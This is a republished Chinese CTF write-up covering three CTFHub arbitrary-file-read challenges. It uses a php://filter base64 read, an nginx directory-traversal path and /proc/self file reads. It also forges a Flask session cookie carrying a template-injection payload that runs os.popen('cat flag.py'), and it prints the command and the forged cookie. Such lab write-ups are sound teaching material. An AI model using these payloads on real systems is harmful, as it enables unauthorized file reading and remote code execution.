文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfhub -afr -1 2 3

2023-09-09 16:21

关注

afr-1

 打开题目链接

默认的传参数据为 ?p=hello

更改一下试试看  ?p=111  无回显

?p=flag  回显了  no no no

 想到了 php任意文件读取

?p=php://filter/read=convert.base64-encode/resource=flag

 回显出数据

 应该是base64  拿去解码

得到flag 

afr-2

打开题目链接

 查看源代码 

nginx配置问题导致存在目录穿越    访问它的前一个目录  img../

/img../flag  

得到flag  

afr-3

打开题目链接  (看似为XSS   ?)

传入个数据看看   打破最初的猜想

点击article 

 name参数是个点  利用这个name参数获取当前执行系统命令  读取系统文件 

补充(Linux系统上的/proc目录是一种文件系统  即proc文件系统  与其它常见的文件系统不同的是  /proc是一种伪文件系统(也即虚拟文件系统) 存储的是当前内核运行状态的一系列特殊文件  用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息  甚至可以通过更改其中某些文件来改变内核的运行状态
/proc/[pid]  当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令  但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表  彼此间用空字符(NULL)隔开  变量用大写字母表示  其值用小写字母表示)

任意文件读取漏洞    读取到结果  看到当前目录存在的两个文件  flag.py和key.py

白盒测试

Article Content:


#!/usr/bin/pythonimport osfrom flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )from flask_session import Session app = Flask(__name__)execfile('flag.py')execfile('key.py') FLAG = flagapp.secret_key = key@app.route("/n1page", methods=["GET", "POST"])def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''

N1 Page

Hello : %s, why you don't look at our article?
''' % session['n1code'] session['n1code'] = None return render_template_string(template) @app.route("/", methods=["GET"])def index(): return render_template("main.html")@app.route('/article', methods=['GET'])def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

发现flag在flag.py   flask的appkey在key.py  但是此处任意文件读取漏洞被过滤了关键词flag

构造payload  先访问flag.py  无果

伪造session  先获取一下key

 再访问 key.py

 利用flask-session-manage 伪造session

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E

抓包  更换cookie session

 得到flag   n1book{afr_3_solved}

小结:

A: php任意文件读取

B: nginx配置之目录穿越 

C:/porc目录

D:flask-session

来源地址:https://blog.csdn.net/m0_57954651/article/details/127919911

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯